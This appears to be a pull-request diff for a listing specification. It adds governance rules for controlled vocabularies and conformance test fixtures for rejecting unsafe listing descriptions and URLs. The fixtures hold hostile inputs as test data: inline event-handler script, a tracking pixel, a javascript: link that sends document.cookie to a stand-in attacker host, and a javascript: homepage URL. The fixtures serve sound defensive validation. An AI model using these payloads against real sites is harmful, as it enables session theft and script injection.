Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 4 additions & 2 deletions CLAUDE.md
Original file line number Diff line number Diff line change
Expand Up @@ -83,5 +83,7 @@ now rejects both, but the seeding still shows in the prose: some `description`
text uses platform vocabulary (`snapshot compute`) that a reader outside
`musher-dev/platform` cannot resolve. Compute Profile slugs used to be on that
list; blueprint §4.3 now carries the grammar and names where the vocabulary is
published, per docs/adr/0003. Only `listing/v1/spec.md` still carries `TODO`
sections — they are what keeps v1 pre-stable.
published, per docs/adr/0003. No `spec.md` carries a `TODO` section any longer —
listing §4.1 and §4.2 closed the last two, per docs/adr/0004 and GOVERNANCE.md →
Changing a controlled vocabulary. What is left in each family's Known debt is a
gap recorded where it applies, not an unanswered question.
49 changes: 49 additions & 0 deletions GOVERNANCE.md
Original file line number Diff line number Diff line change
Expand Up @@ -58,6 +58,55 @@ Any change that would cause a previously valid document to fail validation is a
Adding a required field, narrowing an enum, tightening a pattern, and removing
a field are all breaking. Adding an optional field is not.

## Changing a controlled vocabulary

A field whose value comes from a closed `enum` is a controlled vocabulary this
repository decides — [ADR 0003](docs/adr/0003-controlled-vocabulary-placement.md)
§1 calls it placement one. Adding a term is a minor release; removing one is
breaking, and therefore a new major.

That asymmetry is the whole problem. Growth is cheap in every individual case
and irreversible in aggregate, so the rule below is editorial rather than
technical: nothing in CI can fail a term that is merely a bad idea.

### An open taxonomy: listing `category`

A candidate term must justify itself **against the terms that already exist**,
and the proposing pull request must say so in three parts:

1. **Which existing terms it was tested against**, and why each is wrong for the
listings it is meant to hold. A term proposed without this reads as an
addition; with it, it reads as a gap.
2. **That it is how a buyer browses, not what the software is built with.** A
category answers "what am I looking for". The technology an item is made of
is what `tags` carries, and a term that would have been a good tag is not a
category.
3. **That it is not a subset of an existing term.** A term that splits an
existing one in two makes both less useful, because a listing that could sit
in either now sits in whichever its author picked.

Approval is one maintainer, as for any ordinary change. What is not ordinary is
that a reviewer is expected to reject a well-formed term on editorial grounds —
a taxonomy is judged by what it excludes, and twenty categories is a taxonomy
while sixty is a list with none.

**There is no numeric ceiling, and the reason is worth stating.** A cap would be
honoured only by refusing every candidate once it was reached, because the
alternative — merging two terms to make room — is a removal and therefore a new
major. A limit that cannot be enforced within the major it applies to is a limit
in name, and it would displace the judgement that actually does the work.

### A closed progression: listing `lifecycleStage`

`lifecycleStage` is not a taxonomy and does not share the rule above. It is a
short ordered progression describing maturity, and its terms are not
alternatives an author chooses between on taste — each one makes a claim about
the item that the storefront acts on.

Adding a stage therefore changes what the storefront *means*, not how it sorts,
and needs an **accepted ADR** rather than the admission test. The same is true
of any other vocabulary of this shape.

## Release process

Releases are automated. Merging a Conventional Commit to `main` opens a
Expand Down
30 changes: 30 additions & 0 deletions conformance/listing/v1/cases.json
Original file line number Diff line number Diff line change
Expand Up @@ -72,6 +72,16 @@
"phase": "structural",
"path": "structural/010-media-paths"
},
{
"id": "structural-011-url-field-disallowed-scheme",
"phase": "structural",
"path": "structural/011-url-field-disallowed-scheme"
},
{
"id": "structural-012-support-url-mailto",
"phase": "structural",
"path": "structural/012-support-url-mailto"
},
{
"id": "semantic-001-duplicate-screenshot-basename",
"phase": "semantic",
Expand Down Expand Up @@ -106,6 +116,26 @@
"id": "semantic-007-component-item-version-independent",
"phase": "semantic",
"path": "semantic/007-component-item-version-independent"
},
{
"id": "semantic-008-description-raw-html",
"phase": "semantic",
"path": "semantic/008-description-raw-html"
},
{
"id": "semantic-009-description-html-in-code-fence",
"phase": "semantic",
"path": "semantic/009-description-html-in-code-fence"
},
{
"id": "semantic-010-description-javascript-url",
"phase": "semantic",
"path": "semantic/010-description-javascript-url"
},
{
"id": "semantic-011-description-remote-image",
"phase": "semantic",
"path": "semantic/011-description-remote-image"
}
]
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
# A listing is authored by a third party and rendered by the storefront, so the
# description is untrusted content in a first-party origin. Raw HTML is the
# direct script-execution vector, and CommonMark permits it by default — which
# is why §4.1 narrows the profile rather than naming CommonMark and stopping.
#
# Both forms appear here: an HTML block (CommonMark §4.6) and raw inline HTML
# (§6.6). One diagnostic is declared; the runner permits the second.
specVersion: v1
kind: LISTING
metadata:
slug: postgres
version: 1
spec:
listingKind: COMPONENT
displayName: PostgreSQL
summary: The open-source relational database
category: INFRASTRUCTURE
lifecycleStage: STABLE
description: |
## What it is

<div align="center"><img src="https://tracker.example/pixel.png"></div>

A relational database with an <span onmouseover="alert(1)">interesting</span>
reputation.
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
[
{
"code": "ERR_RAW_HTML",
"path": "/spec/description"
}
]
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
{
"id": "semantic-008-description-raw-html",
"phase": "semantic",
"expected": "fail",
"clause": "specifications/listing/v1/spec.md#description-markdown",
"summary": "A description containing raw HTML is rejected."
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
# The regression pin for §4.1's "a code fence is not raw HTML".
#
# A listing for anything embeddable documents the snippet its users have to
# paste, and that snippet is HTML. CommonMark tokenises a code span and a fenced
# code block as their own constructs — never `html_block` or `html_inline` — so
# the rule is written in CommonMark's terms rather than as a search for angle
# brackets. A lexical rule would reject this document, and the authors it
# rejected would be the ones writing honest documentation.
#
# The same `<script>` outside the fence is semantic-008.
specVersion: v1
kind: LISTING
metadata:
slug: postgres
version: 1
spec:
listingKind: COMPONENT
displayName: PostgreSQL
summary: The open-source relational database
category: INFRASTRUCTURE
lifecycleStage: STABLE
homepageUrl: https://www.postgresql.org
supportUrl: mailto:support@example.com
description: |
## Embedding the status widget

Paste this into your page:

```html
<script src="https://cdn.example.com/status.js"></script>
<div id="pg-status"></div>
```

Set `<meta name="pg-endpoint">` to your instance, then see the
[configuration guide](https://www.postgresql.org/docs/) or jump to
[#defaults](#defaults) below.
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
{
"id": "semantic-009-description-html-in-code-fence",
"phase": "semantic",
"expected": "pass",
"clause": "specifications/listing/v1/spec.md#description-markdown",
"summary": "HTML inside a code span or fenced code block is not raw HTML, and is accepted."
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
# Forbidding raw HTML alone would not close the surface: a `javascript:` URL is
# script execution wearing an ordinary Markdown link, and the document holding
# one contains no HTML at all.
#
# The link is spelled as a reference definition rather than inline, because the
# rule is about the destination a link resolves to and not about the syntax that
# spells it.
specVersion: v1
kind: LISTING
metadata:
slug: postgres
version: 1
spec:
listingKind: COMPONENT
displayName: PostgreSQL
summary: The open-source relational database
category: INFRASTRUCTURE
lifecycleStage: STABLE
description: |
## Getting started

[Run the setup wizard][wizard] to configure your first database.

[wizard]: javascript:fetch('https://evil.example/'+document.cookie)
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
[
{
"code": "ERR_DISALLOWED_SCHEME",
"path": "/spec/description"
}
]
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
{
"id": "semantic-010-description-javascript-url",
"phase": "semantic",
"expected": "fail",
"clause": "specifications/listing/v1/spec.md#description-markdown",
"summary": "A description link using a scheme outside the permitted set is rejected."
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
# A remote image executes nothing. It discloses every storefront viewer's IP
# address and user agent to a host the listing author chose, on every page view,
# with no interaction — a per-view beacon pointed at people who have no
# relationship with the author.
#
# §5 already fixed `media/` as the one directory an item ships assets from, so a
# description image is held to the same grammar and a remote one is unspellable
# rather than merely discouraged. The badge below is the shape this rejects in
# practice, and rejecting it is the deliberate cost.
specVersion: v1
kind: LISTING
metadata:
slug: postgres
version: 1
spec:
listingKind: COMPONENT
displayName: PostgreSQL
summary: The open-source relational database
category: INFRASTRUCTURE
lifecycleStage: STABLE
description: |
## PostgreSQL

![build status](https://img.shields.io/badge/build-passing-green.svg)

A relational database.
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
[
{
"code": "ERR_IMAGE_NOT_LOCAL",
"path": "/spec/description"
}
]
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
{
"id": "semantic-011-description-remote-image",
"phase": "semantic",
"expected": "fail",
"clause": "specifications/listing/v1/spec.md#description-markdown",
"summary": "A description image that is not an item media path is rejected."
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
# `javascript:` in `homepageUrl` is the same stored injection as `javascript:`
# in a description link, and a storefront renders both. The scheme rule is one
# rule with two placements: a `pattern` here, because a scalar field is
# something JSON Schema can decide offline, and a semantic check inside the
# description, because no pattern can parse Markdown.
specVersion: v1
kind: LISTING
metadata:
slug: postgres
version: 1
spec:
listingKind: COMPONENT
displayName: PostgreSQL
summary: The open-source relational database
category: INFRASTRUCTURE
lifecycleStage: STABLE
homepageUrl: javascript:alert(document.domain)
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
[
{
"code": "ERR_INVALID_VALUE",
"path": "/spec/homepageUrl"
}
]
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
{
"id": "structural-011-url-field-disallowed-scheme",
"phase": "structural",
"expected": "fail",
"clause": "specifications/listing/v1/spec.md#presentation",
"summary": "A scalar URL field using a scheme outside the permitted set is rejected."
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
# The other half of structural-011. The scheme set is three terms, not one, and
# each is here for a reason worth pinning: `mailto:` because a support address
# is a plausible value for supportUrl, and `http` because rejecting it would
# reject projects whose homepage is not yet served over TLS — a judgement about
# someone else's infrastructure rather than about this document.
specVersion: v1
kind: LISTING
metadata:
slug: postgres
version: 1
spec:
listingKind: COMPONENT
displayName: PostgreSQL
summary: The open-source relational database
category: INFRASTRUCTURE
lifecycleStage: STABLE
homepageUrl: https://www.postgresql.org
sourceRepoUrl: http://git.postgresql.org/git/postgresql.git
supportUrl: mailto:support@example.com
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
{
"id": "structural-012-support-url-mailto",
"phase": "structural",
"expected": "pass",
"clause": "specifications/listing/v1/spec.md#presentation",
"summary": "The permitted scheme set includes mailto, and http alongside https."
}
Loading